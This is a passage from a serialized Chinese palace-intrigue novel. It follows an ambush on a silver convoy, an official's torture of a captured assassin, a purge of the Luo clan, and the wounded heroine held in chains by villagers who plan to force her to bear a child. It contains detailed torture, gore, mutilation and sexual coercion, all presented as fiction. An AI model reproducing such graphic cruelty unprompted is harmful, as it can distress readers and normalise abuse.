张世豪穿着铁甲,银灰色的铁甲在火光下泛着幽幽寒光。他的眉间有浓重的忧虑,腰间长刀已出鞘,“驿馆驻守的人也是朝廷的官员,是死是活,我都要看一看。”
“我知晓大将军的意思,但还请您随军等待,让我带人进去查看。”
火光晃动,映出棠柳月被雨水打湿,却异常坚定的一张脸。
默然片刻,张世豪终是点点头,同意了棠柳月的请求。
得了令的棠柳月将自己的马匹拴在了一旁的树上,抽出腰间长剑,领着其他人便进入驿馆。
而随着他们进入,张世豪也并未坐以待毙,而是安排其他人将驿馆围的水泄不通。
此时雨势又渐渐大了起来,在重重脚步声中,将士拉起长弓,立起盾牌,严阵以待。
一支支火把在驿馆外亮起,一时之间,亮如白昼。
张世豪骑马伫立在驿馆前,面色肃然,他倒要看看今日,是谁在这里装神弄鬼。
但就在人群身后,无数道漆黑身影正在林间穿行。
推开驿馆大门,入眼的是干净如新。
棠柳月微微惊讶,她原以为这里面会是一片狼藉。但饶是如此,这也并未减少这座驿馆的带给她的诡异之感。
摆了摆手,其他人便朝两侧散开,快步搜查起目之所及的一
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切。
驿馆内灯火通明,棠柳月在一楼并未发现任何人迹,便慢慢走上楼梯。
突然,那股血腥气味骤然加剧。
压抑住内心的不安,棠柳月循着血腥气走去,最终停在了三楼的一个客房门前。
是了,此刻站在门前,血腥之气混着腐烂的味道,从门缝里止不住地溢出。而且这间屋子不似其他客房明亮,而是昏暗异常。
棠柳月后撤一步,拿着长剑向门板砍去。手起刀落,门板应声而碎。碎裂的瞬间,尸体如山体崩塌一般,尽数滑落出来。
这间屋子里,堆叠起来的尸体足有两米之高,周遭的血迹已干涸。
棠柳月只感觉心脏狂跳,好似要从胸腔里面跳出来了。但还是忍着惊惧,在尸体旁蹲下,拿起他们腰间的令牌细细辨认。
看了好一会,棠柳月才确定这些尸体里,除了有驻守在此的驿馆官员,还有其他途径此处的皇商。
一共一百五十人,都葬身于此。
此时其他人已经将驿馆翻了个底朝天,纷纷来报并未发现贼人踪迹。但这些死去之人的行囊,却完完整整地留在房间里。
杀了人,却不夺财,此刻又不在驿馆内……
“撤退!保护大将军!”
驿馆之外,不知是谁的一声惊呼,拉开此夜的血雨腥风。
马匹发出一阵阵惊悚高亢的鸣叫,火光重重,混着将士的嚎叫,一时杀声震天。
棠柳月飞奔来到外面,却见无数蒙面黑衣人从树林里蹿出,各持长刀短斧,在明明灭灭的火光中,凶狠暴戾地朝将士砍去。
有些来不及反应,或者无力抵抗的将士,便被黑衣人连砍数刀,杀得身首异处,血肉横飞。而其他及时躲开的人,要么被吓得魂飞魄散,四散逃窜,要么就是试图反抗但很快被围攻,无数刀斧落下,剁成肉泥,死相凄惨。
雨水混着血水,蔓延到棠柳月脚下。
一切都发生的太突然,根本容不得细想。
长刀横空,破开层层肉墙,殷红的血染红衣衫,棠柳月拼尽全力想奔到载着官银的车马旁边。
因为她看到守在那里的张世豪,脸上挨了重重一刀,皮开肉绽,身中三箭,周身满是刀伤斧痕,血淋淋一片。他的长戟也被断了半边,刀刃外翻卷起。
风雨大作,电闪雷鸣,棠柳月拖着断腿往前奔袭。
但余光一瞥,她看到了寒光无数。
无数尖刀利刃突然从两侧袭来,直直刺向自己!
没有闪避的余地,棠柳月的身体被刀剑捅穿,那一瞬间她只感觉身上忽然冷的可怕,雨水砸到脸上,冲刷着她口中不断呕出的鲜血。但很快,一股剧烈且尖锐的疼痛贯穿全身。她微微仰头,脖子因为被弓箭射伤,溢出几声微不可闻剧痛的呜咽。
“呃……呃……”
下一刻,刀剑猛地抽出了她的身体!
鲜血喷涌,带出无数模糊血肉。失去了支撑的身躯,轰然倒地。
她是要死了吗?
真是不甘心啊。
意识完全涣散之前,棠柳月只听到了秦川柏撕心裂肺的哭喊声。
“柳月——”
25.外派(4)
没有人知道那一夜的情状有多惨烈,弥容只知道夜半燃起的熊熊烈火,照亮了半边天。
整个驿馆连带方圆十里,连城一片火海,吞噬奄奄一息的可怜人,散发出炙烤人肉的香味。
仿若当头一棒,弥容的瞳孔剧烈震颤着,随即便转身狂呕。
到底是什么样的深仇大恨,才能如此凶残?
昏暗的行刑室内,血腥气弥漫,墙上的小小天窗,透进来几丝日光。
雕龙画凤的太师椅上,季临渊着一声黑金满绣麒麟服,背光而坐,整个人陷在暗处,神色冷漠。
距他身前不远处,跪着一个男人。
这个男人是那夜弥容拼死救下来的为数不多的活口之一,已查验过并非此次随行的将士,也并非在朝官员。
再结合身上常年练武的痕迹,和那一身破败的夜行衣,季临渊几乎是压着想把他撕碎的心绪,才用巫蛊邪术吊住男人的命。
这个男人跪在地上,头无力地低垂着,衣不蔽体。两只手腕被左右两边的铁链牢牢挂起,另外还有两条铁链自他的肩胛骨穿过,把整个人吊起才得以跪在那里。铁链与皮肉接触的地方皆是一片血肉模糊,身上皆是深浅不一的鞭痕,有些伤口已经腐烂生疮,无数蛆虫在上面蠕动。甚至再细看下去,还可以看到他膝盖下面的碎玻璃,全都嵌进肉里,触目惊心。
“身为死士,你的嘴巴倒是够严。”
季临渊的语调不高,却阴恻恻的像深海里陡然出现深不见底的漆黑断崖。
椅子扶手上的手指微微屈起,轻轻敲动。
审讯逼供了三天,身上没有一处好地,居然什么都没吐出来。
“不过还好,我最擅长的就是让人张嘴。”
季临渊说罢微扬下巴,门口两个恭候多时的两个侍从便走了进来。
一人手持麻绳和白布,走到男人身后。把白布盖在男人脸上,兜头兜脸包住,然后将麻绳套住他的脖颈。膝盖抵上男人的后脊梁骨,两手配合往后猛力一扯!
脊骨断裂,喉管无声,残破的身躯向前弓起,颤巍巍的,像一只肉色大虾。
或许男人是想叫唤,但被灌过糖浆的喉咙,已然发不出声音。
另一人端着木盘在男人身前蹲下,木盘上码放了一排粗细不等的银针。
左手捏起男人的口口,右手捻起银针,对着孔洞利落刺入。
“呃——”
隔着白布,脖子被死死勒住,男人几乎是从身体深处挤出声音,像过年被宰杀的猪一般,发出绝望刺耳的嚎叫。
一根,两根,三根……
季临渊没有喊停,侍从便没有停下动作。
每一次落针,都会引起钻心刺耳的哭嚎。
直到一盘银针尽数插入,红肿充血的顶端密密麻麻,像极了绣娘用来随手扎放大头针的针线包子。
守在门外的刑部尚书死死低着头,不敢细听里面惨绝人寰的动静。
此次官银被劫,驿馆被烧,重伤将军,侍郎失踪,随行三百余人几乎身亡殆尽,贼人手段之恶劣残忍,满朝皆惊。
皇帝更是龙颜震怒,下令举全国之力追查贼人,搜寻棠柳月的踪迹,并将此事全权交给季临渊负责。
这也是季临渊敢对男人动用重刑的原因。
耐心所剩无几,季临渊起身,一手负于身后,一手提起桌上滚着水的水壶,走近男人。
水壶高高抬起,滚水流出,落到男人被白布遮盖的头脸上。
热气氤氲间,吸了水的白布又沉又烫,死死贴住脸皮,没有任何呼吸的余地,几乎要把他烫熟。
男人迸发出濒死的气力,挣扎扭头,出于本能地口鼻大张,但下一刻就会被灌入更多滚水,顺着喉管,呛入心肺,痛苦万分。
很快,白布下洇出一片片血色。
一壶滚水倒完,男人已经气若游丝。
但还未等死去,他只感觉到脖子上一松,脸上贴着的白布被人一把揭开,粘连掉落无数脸皮碎屑、肉沫筋膜。
徒留下一张血肉模糊、鲜血淋漓的脸,和一双不安转动的赤裸裸的眼球。
揭开的一瞬间,男人还未反应过来,只感觉浑身突然很冷。但很快,剧烈的灼烧炽痛便从脸上开始,蔓延他的五脏六腑。
恍惚间,他听到季临渊蛊惑的声音——“只要你说出来,我就放了你。”
剧烈无止的痛楚下,男人终于抵挡不住,被拔掉指甲的手指在空中颤抖划动。
季临渊死死盯着那只手,直到看清男人写下的,是一个“罗”字。
心下骇然,他急忙追问:“是高门罗氏?!”
男人呃呃啊啊地张了张嘴,手指却开始胡乱划动,眼珠爆裂充血。
很快,他呕出一大口黑血,几只蛊虫从嘴里爬了出来。
他死了。
眼下肌肉微微跳动,季临渊听到自己后槽牙咯咯作响的声音。
这不是他下的蛊虫,有人当着他的面,杀了犯人。
“大人!大人!大将军醒了!”宫人狂奔进来报信。
自大火中被救回,太医倾力救治了三天的张世豪,终于醒了。
顾不得其他,季临渊只留下一句“处理干净”,便转身离开大牢,奔往将军府。
因为心急赶着过去,季临渊干脆骑上马,一路策马狂奔。到了将军府门口,连缰绳都不扯一下,直接翻身下马,趔趄着跑进将军府。
被下人带着,季临渊心急如焚地来到卧房,推门而入。
一进来,便看到七八位太医围在床边,张姝被两个下人搀扶着,伤心欲绝。
只是她的身后,居然站着一个沈易寒。
还没来得及细想,一个太医的声音便强势打断了季临渊的思绪。
“中书令大人万安,大将军已经醒了。但目前实在体虚,大人若有问询之事,还请尽快,大将军支撑不了太久。”
季临渊点点头,迈步来到张世豪床前,微微俯身,放缓了语气:“大将军,皇上让您安心养病,不会苛责您。身死的将士,兵部都已经发放了抚恤金,安置了他们的身后事。官银失窃的事情,我会负责追查,您且宽心就是。”
张世豪脸色灰白,苍老了许多,周身裹满纱布,语气虚弱至极:“多……多谢皇上。”
看着眼前人病弱的模样,季临渊心里一阵酸楚难过。
却又庆幸,还好活着。
可自己心心念念的那个人……
“大将军,您、您当时,”季临渊的声音突然哽咽,眼底一阵酸涩,他别过脸努力控制住泪意,继续说道:“您知道柳月的下落吗?那夜之后,她失踪了。”
张世豪虚弱地摇摇头,干裂的嘴唇微微抖动,“当时我只看到她身中数刀,又接连被人刺伤。倒地后滚入山崖,再也没见到。”
身中数刀,接连刺伤。
八个字像一句诅咒,深深烙印在季临渊的心头,压得他无法喘息。就连最后是怎么
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离开将军府的,他都记不得了。
可更令季临渊绝望的是,派出无数人马搜查了十日,有人上报,在事发地的河岸下游,一处水草泥沙堆积的河洞里,发现了一具穿着军衣,被水泡的浮肿腐烂的烧焦女尸。
尸体被验尸清理后安放在仵作房里,盖着一张白布。她的衣物都被仵作小心除下,放在了相邻的另一张台面上。
在衣服的最上面,放着一个红色福袋。多日河水浸泡,已经有些褪色了。
季临渊无声站在尸体前,眼神却落到不远处的福袋上。
真像啊,跟他为棠柳月拜神求来的那个福袋,真是一模一样。
门外有好几声细细碎碎的哭声,但最刺心的,是许伯和秋姨的哭声。
像极了当年失去女儿后,绵长又无法派遣的痛楚。
因为今日,他们又失去了一个女儿。
尸体已经腐烂膨大认不出来容貌,但取下来的一件件衣衫,跟当时棠柳月所穿的,别无二致。
她好像,真的死了。
伸手想要揭开白布,却发现手颤抖地厉害,只能撑在台面上。
直到泪水滴落,季临渊才惊觉自己已经泪流满面。
门板吱呀作响,宋澈衍推门而入,手里拿着一份明黄卷轴。他站在季临渊身后,嗓音因为哭泣而变得沙哑。
“追封授勋的旨意已下。皇上念她孤身一人,让你为她主持丧仪。”
季临渊没有说话,与宋澈衍彼此沉默着。
他不愿意接下圣旨,一旦接下,她就真的死了。
他不要她死。
此时,一个素白身影突然闯入,直奔尸体。
季临渊眼疾手快,一把抓住来人,却发现来人是沈易寒,很是诧异:“怎么是你?”
沈易寒仿佛很急,挣开束缚后转身掀开白布,俯下身子,细细查看尸体的颈部。
白布之下,焦黑膨大的尸体身下,还在缓缓溢处黄绿色液体,一股股难以言喻的恶臭四散蔓延。
季临渊又是一阵难过,只当沈易寒是心痛过度,索性侧过身不愿在看。
但沈易寒恍若未闻,只小心掰过尸体的脖颈,用手轻轻抚触着那处他无比熟悉的地方。
接着,他起身从一旁摆放解剖刀具的架子上,取过一把匕首。
不顾季、宋二人的阻拦,划破自己的手掌,将殷红的血液滴在尸体的脖颈上。
怀揣着忐忑心绪,沈易寒大气都不敢出地盯着血液滑过脖颈、滑过躯体、滑落地面。
他忽而狂笑起来,“她不是柳月!她不是柳月!”
季临渊一惊,拽起沈易寒的衣领,神色严峻:“你知道了什么是不是?!你怎么知道她不是柳月?!”
沈易寒诡异一笑,眼中闪烁着异样的执着。只见他将自己的血擦在季临渊袖口,语气病态又阴郁,语不传三人:“九瓣银花嗜血而生,以血肉为食。就算宿主身死,只要用血喂养它,它一样可以存活。”
“可是刚刚,尸体上并没有出现九瓣银花。”
“她不是棠柳月。”
棠柳月还存活的猜测,和九瓣银花的秘密,同时在刺激着季临渊。
他不清楚眼前这个文文弱弱的男人还知道什么,但他很清楚,这个人,绝对不能久留。
抽过宋澈衍手里的圣旨,季临渊夺门而去。
“阿澈,跟我去见皇上,让他收回成命。重新调派人手,掘地三尺也要把棠柳月找回来!”
26.收留(1)
身体浮浮沉沉,耳边传来无数嘈杂声响。
棠柳月平躺着慢慢睁开眼,脑子里混混沌沌,周遭伸手不见五指。动了动手脚,什么都没有摸到。
头顶忽的落下一束光,照亮她的视野。
突如其来的刺眼光芒让棠柳月无法承受,她抬手遮掩住眼眸。
但是等了许久,最后盖上她眼眸的,只是一片虚无。
深重的不安从心头涌出,棠柳月挣扎着抬起头,映入眼帘的自己的身躯,却让她茫然了眼神。
没了。
四肢都没了,只剩一个赤裸的躯干,宛如砧板上的肉块。
所以刚刚在黑暗中,她的所感所受,都是假的?
切口处突然传来针扎般的疼痛,棠柳月拼命扭动着躯干,喉头只有破碎的呜咽声,眼泪无声落下。
不会的,不会的,不会的!
光线收束,黑暗崩塌。
“醒了!”
一个略带尖锐的高亢女声在耳边炸开,接着脸上便是一阵温热。
棠柳月再度睁眼,却见自己躺在一间农村屋舍里,身上盖着大红棉被,三个农村人打扮的妇女正坐自己身边。离自己最近的那个,正拿着脸巾给自己擦脸。
稍稍动一动身子,便是钻心的疼。
但万幸,胳膊腿都在。
见棠柳月一醒来就动手动脚,给她擦脸的妇女赶紧出手稍稍制止,嘴里止不住地喊着:“哎呦,小姑娘不要乱动啊,好不容易才长出几处好肉,乱动待会又要崩开了。”
棠柳月很想说话,但喉咙只能发出“嗬、嗬”的声音。她这才想起,自己昏倒前,脖子上中了一箭。
“你先别急着说话,我晚一点去找大夫来给你看看。你伤的太重了,我们也没想到你还能活下来。”
三个妇女絮絮叨叨又说了一些,大意就是她们从荒草堆里发现棠柳月的时候,她跟个血人似的,原本都想找个地方给埋了。结果挖坑的时候,她身上好几处大豁口都长出了新肉,也有了气息。这才拉回村子,救了回来。
棠柳月此刻无法说话,也无法动弹,只能用眼神向三个妇人表达谢意。
三个妇女大抵也是看懂了,笑的和蔼亲近。
简单给棠柳月喂了几口清粥,擦拭净脸庞,一个稍壮的农妇将床脚的一叠被子挪了过来,放在棠柳月身边。
想来,是给她保暖的。
做完这些后,三人便离开房间,让棠柳月好生休息。
只是出去的时候门没有关紧,三人说话的声音断断续续传到屋里。
“陈姐,你当真要留下这个女娃给阿权当媳妇?”
“这个女娃伤的那么重,搞不好是被仇家追杀嘞。”
“藏好就行,阿权是我的儿,我总不能眼睁睁让他绝后吧。”
“可是阿权都那样了……”
声音渐渐远去,棠柳月的眼神愈加清明。
听这些人的意思,不仅没想要把捡到的她报官立案,还想私藏下来,给“阿权”当媳妇,生孩子?
棠柳月挪动着脖颈,四处打量起屋子。
这是一间普普通通的泥瓦房,土黄色的墙,灰黑色的瓦片屋顶,四面没有窗,整个屋子的光亮都来自上面,两个巴掌大的天窗。
屋内陈设只有一张桌子,一个柜子和几个木凳。除此之外便是一米见方的两个草垛,和一堆铁链子。从漏风摇晃的门板往外看去,还可以看到外面门上栓了一条大铁链子。
这哪是给人住的,大内天牢都比这儿通畅。
若是平常,便是百十个这样的屋子都拦不住棠柳月,但现在……
棠柳月很清楚以自己现在的情况,是完全逃不走的。就算后面身体恢复,也保不齐这里的人会不会中途对她用强。
譬如那些铁链。
心中泛起一阵阵恶寒,棠柳月闭上眼,眉间有重重忧愁。
不知过了多久,身边堆叠的棉被里忽然发出窸窸窣窣的声音,有东西在动。
应该是什么蟑螂壁虎大蜘蛛在爬。
棠柳月闭眼静听,等待声音消失。但奇怪的是,声音始终没有停下。
被吵得有些心烦,棠柳月终于抬起眼皮,没好气地转头看去。
却对上了一只眼。
光秃秃的与人脑一般大的肉球上,唯一能分辨出来的,只有这一只眼。
腥臭热烘的气息从肉球上唯一的小孔里呼出,扑到棠柳月的脸上。
肉球上没一处好地,遍布红紫瘢痕。眼睛只剩一只,鼻子被削平,嘴巴和脖子连在一起,只剩一个小孔还在呼哧呼哧喘气。脸上还有两道纵深交错的刀疤,肉皮外翻着,露出嫩粉色的细肉。
真是一个诡异丑陋的肉球啊。
棠柳月震颤着瞳孔跟它对视许久,它的眼睛却突然眯了眯,扭动着身躯似要与她贴近。
它缓慢的,扭曲的,像一条蠕虫,挣扎咕甬着钻出棉被。
而随着它慢慢完整出现,棠柳月的心里已然无声尖叫。
没有四肢,只有躯干,伤痕累累,跟梦里的自己一模一样。
唯一的不同便是,她是虚幻,而它是真实。
断肢处残存的一点皮肉碎骨,疯狂蠕动着,像一只爬虫,把赤裸无一物的肉块推向棠柳月。
棠柳月很想躲开,浑身都在用力躲避,奈何剧痛之下沁出满头冷汗,身下渗出丝丝血迹,她也没有挪动分毫。
只能眼睁睁看着肉块靠近自己,贴近自己,小孔摩擦着她的鬓边,外翻肉皮下的嫩肉与她紧紧相贴,温热的触感令她胃里翻江倒海。
砰!
肉块应声落地,发出凄厉的惨叫声
门外一阵骚动,很快便有几个村民闯进来,他们心疼地抱起肉块,嘴里不停哄着“阿权乖”“阿权不哭不哭”。
再一看床上,棠柳月的左手颤抖地举着,纱布被鲜血浸润。
派出去的人马搜查了一遍又一遍,始终没有进展。
季临渊焦心等待的同时,手上也没闲着。凭着那个犯人受尽酷刑后才供出来的“罗”字,他直接就跟皇帝申请调兵,将罗恒幡的府邸封禁起来,整整三日不许府内任何人进出。
包括罗恒幡。
刀兵相见最危急的时候,罗恒幡的剑抵在季临渊脖子上,而弥氏姐妹的刀则抵在他的脖子上。
“一句无凭无据的指控,中书令就敢带兵封禁太尉府?”罗恒幡眼中燃烧着熊熊烈火。
“如何不敢?”季临渊扬
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起三分冷笑,双指夹住长剑,手腕一转,长剑便飞出数米,“若是寻常人家,哪有劫持官银的胆子?况且贼人训练有素,又是受尽酷刑才吐出一点东西,所以背后主使必定有权有势。”
“况且最后让他暴毙的蛊虫,金贵难饲,产自江浙一带。也唯有那里的巫师,才能操控蛊虫。”
罗恒幡嗤之以鼻,眼神蔑视:“中书令断案真是轻巧。”
“太尉莫急,”季临渊不紧不慢地说着,随后走近了些,居高临下地盯着罗恒幡:“京中土地,寸土寸金,但太尉您却连年新开府邸,吃穿用度比之皇家有过之而无不及。就连您的妹妹元妃,在后宫也是挥金如土,令人侧目。”
“可这一切比对您现今的俸禄,是完完全全支撑不起的。”
罗恒幡讥诮连连,“我竟不知中书令连旁人的私事都要管。”
季临渊笑了笑,抬手为罗恒幡拂了拂衣领,而后稍稍走远了几步,负手道:“现下朝堂不稳,季某须得秉公办事,让皇上心安,也还太尉清誉。”
之前是没有由头搜查,现在大好的机会送上来,季临渊怎会错过?
随意摆摆手,士兵们便按照列队,鱼贯而入。
“我说没有就没有!季璟你个混——”
脏话还没骂完,弥容就往他嘴里塞了个布条,然后招呼弥真把人拖走,绑到了树上。
皇帝都下令的事情,又谁敢不服?怕不是土皇帝当久了,就真以为是真龙天子了。
一波又一波的人马进进出出,不放过府内的任何一个角落。很快,他们便抬出了一个又一个木箱,安置在院子中间。
一一打开后,只见里面都是外邦进贡的奇珍异宝,珠玉金器,还有一些山水字画。
原本还在挣扎的罗恒幡,看到家底被尽数掏出后,气焰顿时萎靡了下去。
他不明白,怎么连藏在密室,藏在那种隐秘之处,都能被找到?
季临渊伸手拂过这一箱箱价值连城之物,啧啧称奇,而后他抬眼看向罗恒幡,意味深长道:“这些进贡给皇上的东西,您这也有,这总不是您的私事了吧。”
罗恒幡脸上的肌肉微微跳动,沉默不语。
“还是说,”季临渊随手拿起一幅《残阳月影图》,笑吟吟地走到罗恒幡面前,“阳同明,谐音我朝国号‘茗’,但这幅画里,月亮却把太阳蚕食殆尽,欲取而代之。”
笑容渐渐敛去,季临渊眉眼冷峻:“您也如这月亮一般,欲取而代之吗?”
罗恒幡闻言怔愣,他连这幅画是什么时候收下的都不知道,更不用说对画作的内容有研究。
结果现在季临渊却给他扣上了一个不忠不孝,意图谋反的帽子。
是当他死了吗?
一口老痰吐出,若不是季临渊后撤及时,只怕要领个头彩。
罗恒幡气得脸色涨红如猪肝,睚眦欲裂:“死了爹娘的王八羔子!我罗氏一脉,世代功勋!岂容你随意指摘!仗着皇帝撑腰就以为自己算个东西了?!”
季临渊眼神晦暗,任由罗恒幡谩骂,也没再跟罗恒幡说一句话,只是转身吩咐人把东西抬回宫中,把人押入天牢。
确实是死了爹娘。
只不过,皇帝也死了爹娘呢。
27.收留(2)
随着罗氏宗主因字画疑似谋逆圣上,被捕入狱,季临渊便对整个罗氏一族进行搜查。
连当朝太傅都未曾放过,一时之间人心惶惶。而这番举措当然也是满载而归,搜查出许多罗氏子弟收受贿赂,压榨民脂民膏等恶行,罄竹难书。
皇帝也是雷厉风行,不出半月,搜查、审理、定罪、下狱、流放,处置了罗氏近一半的子弟。
罗恒幡得知此事时,气急攻心,多次在狱中晕厥。被太医救回来之后,第一句话就是与季临渊不共戴天。
养心殿里,皇帝正提着朱砂笔,埋首处理奏折。
不多时,得了传召的季临渊就从外面进来,略带恭敬地给皇帝行了个礼,也不等皇帝出声。便自如地在一旁的椅子上落座。
皇帝大约也是习惯了,略过这些不敬的举动,头也不抬道:“文字狱历来为人不齿,你也太过分了些。罗恒幡虽然目中无人,但到底对朝廷很是忠心。”
“你这样一说,朕倒不得不对他们彻查定罪。”
季临渊接过小太监奉上的茶水,喝了一口,“既然要挑错处,自然要挑大的。皇上若心疼,我此刻便去大内监牢,给罗恒幡磕头谢罪。”
手中的笔一顿,皇帝笑着摇了摇头,“若要人不知,除非己莫为,也是他们活该。”
“朕只是心疼你,平白挨了那么多骂名。”
季临渊只看自己杯里的清茶,眼底有淡淡的嘲讽。
皇帝没有得到回话,自觉有些尴尬,便转了话头,问道:“官银都尽数找回来吗?”
“找回来了,都藏在罗恒幡乡下的一个庄子里。”季临渊放下茶盏,脸色平静,“罗恒幡的手下受了刑,至死都只说他们确实被授意拦截车马,劫持官银。待行军不力的罪名落到大将军和棠柳月的身上后,再将官银归还。”
“但他们不承认对护送队伍赶尽杀绝。”
皇帝冷哼一声,“承认了便是灭门的死罪,自然要避重就轻。”
季临渊颔首,“我也觉得是,说是拦截车马,但总归刀兵相见,总有下狠手的一刀。”
养心殿一角,鎏金鼎里的龙涎香缓缓燃着,飘出青烟几缕。但很快又被冰扇绞出的冷风吹散,变成冷腻的甜香。
皇帝放下笔墨,很是欣慰地看向季临渊:“罗恒幡暂且先关押着,待中秋后朕再自行定夺。这件事你做的很好,可有什么想要的?”
季临渊默然片刻,起身向皇帝躬身行礼:“那便如之前所说那般,划拨一半禁军给我,我要亲自去找棠柳月。”
皇帝轻啧一声,很是无奈:“朕也一直很上心棠柳月的下落,前后也派了许多人去地方搜寻,但此事只能尽人事听天命。总不能为了她,把所有禁军都调出去吧?”
像是听到什么疯话,季临渊慢慢抬头,眼神微微震惊:“所以皇上是不想找了吗?”
“不是不找,是不能一直找。科举在即,到时学子入京,也得调派人手看护跟进。况且张世豪都说那晚棠柳月被贼人围攻,伤势惨重。说难听点,说不定早就暴尸荒野,枯坟白骨了。”
皇帝说到这,起身走到季临渊身边,拍了拍他的肩膀,语重心长道:“你若真喜欢,朕找几个跟棠柳月相似的女子给你便是。男子应当志向远大,不可与女子一般沉湎于情情爱爱。”
“至于棠柳月,若是实在找不回,朕也只能宣告其英年早逝,然后追封一个名头给她。”
宛如一大团棉花堵在喉咙口,噎得季临渊好一会都说不出话。他没有想过,曾在自己身上发生的一切,会这么快就落到棠柳月身上。
“皇上就是这么对待为自己尽心竭力的臣子吗?”
听着季临渊略带质疑的口吻,皇帝有些不高兴了,“朕待你难道不好吗?而且为天子尽心竭力,本就是应该的。难不成还要朕去记挂她的好?”
说着皇帝烦躁地摆摆手,回到椅子上坐下,“是棠柳月在你耳边吹风吧?女子嘴碎,到底是不适合官场。今年科举,还是不许女子入仕了。”
季临渊站起身,神色由刚刚的震惊诧异渐渐转变为茫然。
他明明记得幼时母亲去世,先皇不许铺设灵堂吊唁,不许声张。小小的他只能独自抱着母亲的牌位,暗自悲伤。当时只有眼前这个人,敢趁着蚕桑祭礼,偷偷跑开,溜进云安华府来安慰他。
多年之后,纵然他们已经分道扬镳,隔阂深似天堑,甚至二人一度相看两厌,剑拔弩张。
但每每忆起那段孤苦的时日,想到对方给予的唯一暖意,季临渊周身的尖刺便蓦然软了下来。在心里的最深处,最隐晦的角落里,他其实是不怨恨、甚至很想亲近这位“皇兄”。只是彼此身份不同,立场不同,所以必须相向而行。
因此在一遍遍的念想里,他美化了眼前人,催眠自己,“皇兄”没有变。
但,事实真的是这样吗?
帝王上位后的薄情寡恩,后宫前朝的弹压忌惮,大权在握的步步紧逼。
这些事情于他的“皇兄”而言,得心应手,因为“皇兄”早就变了。
或许从垂涎女色不得而用强开始,从当堂贬斥前朝重臣开始,从当皇子时便拉拢朝臣陷害其他皇子开始,皇帝早就不是季临渊记忆里,温顺亲和的模样。
从来都只是季临渊,不肯放下孤独年岁里,那一段小小的温暖。
“你怎么不说话?”皇帝问询地声音响起。
回过神来的季临渊,嘴角微动,发出微不可闻的一声嗤笑,拱手道:“我心已决,找不到柳月绝不回朝,皇上同意与否都无所谓。”
……
“季璟你——”
“不许女子如仕也好,省得皇上你眼馋心热,生了龌龊心思,让人耻笑。”
说罢季临渊转身离去,徒留皇帝恼羞成怒地声音在身后响起。
骂声从养心殿传出,却传不到这个隐蔽的小村落。
棠柳月不知道自己失踪了多久,只能以自己醒来后记日。
一日一日算下来,也有一个月了。
这一个月里,她的身体从一开始的千疮百孔,到现在慢慢长肉生筋,结痂愈合。虽还不能下地走路,但她已经可以每日扶着床沿坐起身。
虽然只能维持一刻钟,但已经是个奇迹。
毕竟按她之前的受伤程度,便是华佗在世都难以救活。棠柳月自知是九瓣银花的缘故,却也不敢完全放心,每日都尽量多吃一些,多运动一些,以供恢复。
当然这个过程并不舒服,甚至可以说痛苦。因为新长出来的血肉很是紧绷,只有不断地去撑开活动它,才能恢复到以前的十中之一。
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不过好在,此前棠柳月的一记重拳,惊得旁人暂时不敢动她,才由得她每日有这一刻钟的自如。
否则,她就只能时刻与肉球相对无言。
她喉咙受伤说不出话,他是根本说不出来。
肉球有名字,叫刘权。
耳不能听,口不能言,鼻不能嗅,唯剩一只眼,帮他感受这人世间。
棠柳月自救的行为也引起了刘权母亲,也就是收留照顾棠柳月的女人——陈姐的注意。
于是此前屋内放在地上的铁链便锁在了棠柳月的手脚上。
忍着痛,棠柳月费力地将小腿抬高寸许,脚腕上的铁链随之发出声响。
刘权则躺在一边,瞪眼看着。眼里不知是羡慕,还是嫉妒。
此时陈姐却火急火燎地推门而入,宛如抱起婴孩一般抱起床上的刘权,柔声安抚着。
她就那样与肉球脸贴脸,神色怜爱地亲吻满是瘢痕疙瘩的脑袋。但每每此时,她怀里的肉球就会发出难受的嘶叫。
有一次棠柳月实在听不下去,罕见地为肉球说了一回话。
陈姐立刻甩脸子质问她,是不是想跟她抢刘权。
吓得棠柳月自那以后,三缄其口。
哄了好一会,眼见刘权还是不停叫唤,于是陈姐盘腿坐上床,解开衣领,将干瘪下垂的口口塞进了刘权脸上唯一的小孔里。
刚刚的嘶叫,顿时变成了呜咽。
“阿权想喝奶了是不是?”陈姐温柔着眉目,轻拍怀中的刘权,“有奶喝就乖了喔。”
那是乖了吗?那是被吓得吧。
棠柳月看着刘权的舌头拼命往外抵着口口,忍不住转脸,不忍细看。
“其实我们阿权,是很好很好的孩子,”陈姐替刘权擦去因为憋气而流出的泪水,语调轻轻:“他小时候就比别的孩子聪明,还懂事孝顺。后来因为身体底子好,被征兵入伍,每月都把俸银全交给我这个做娘的。”
“我都给他存着,将来给他娶媳妇用。”
“可是还没有等到他娶亲,”陈姐说着,重重叹了一口气,“三年前他随军清缴山匪,两方交战,阿权被山匪抓了去。整整三个月,一点他的消息都没有。”
“再后来山匪终于伏法,我也终于看到了阿权。可是阿权,已经没有了人样。”
陈姐平静自如地说着,仿佛是在说别人家的事情,甚至连一点泪光都没有瞧见。
以至于她发现棠柳月用一种近乎悲悯的神色看她时,还会摇摇头,手肘撑在屈起的膝盖上,手掌遮掩住半张脸。
“别以为我很可怜,起码阿权还活着。就算他变得如何丑陋,他也是我的孩子。”
棠柳月点点头,同时也为自己之前对刘权的鄙夷态度很是羞愧。
只是羞愧归羞愧,她并不觉得刘权的悲惨遭遇,跟把自己被强行关在这,有任何因果关系。
刘权是因公受伤,朝廷对此下放的抚恤金一向只多不少,足够母子二人富裕地过完下半生。若真是想要个孩子,去道观佛寺领养一个也可。为什么要强行留下她呢?
陈姐似乎看出了棠柳月的愤懑,横了她一眼,“你别觉得委屈,要不是前头有个小姑娘,年岁太小骨头没长开,最后难产都死了,哪能轮到你啊?”
……小姑娘?
28.收留(3)
原本不多的羞愧一扫而光,棠柳月锐利地看向陈姐,心里止不住质问:你的孩子是孩子,别人的孩子就不是孩子吗?刘权当兵是保护百姓,你身为他的娘亲却祸害别人,你没想过他吗?
当然这些话,陈姐是听不见的,她珍惜地抱着刘权,一直都自顾自说着话。
“我不是圣人,我也不想我的孩子做圣人。阿权若真的死在山匪手里,我随他去了也就是。可他没有,他念着我没死,我当然也不能放弃他。”
“那些名头都是假的,都是做给别人看的。我知道我的孩子很痛苦,所以我要为他延续血脉,让他看到希望。”
棠柳月眯了眯眼,止不住地摇摇头,所有希望都压在一个还未出生的孩子身上,那个孩子何其无辜?
“其实我们阿权也生得挺好的,”陈姐像献宝一样,抱起刘权,膝行到棠柳月面前,把刘权硬往她眼前凑,谄媚道:“你看你看!眼睛生得多亮!嘴巴小小的!你也生的好看,以后我孙子肯定好看!”
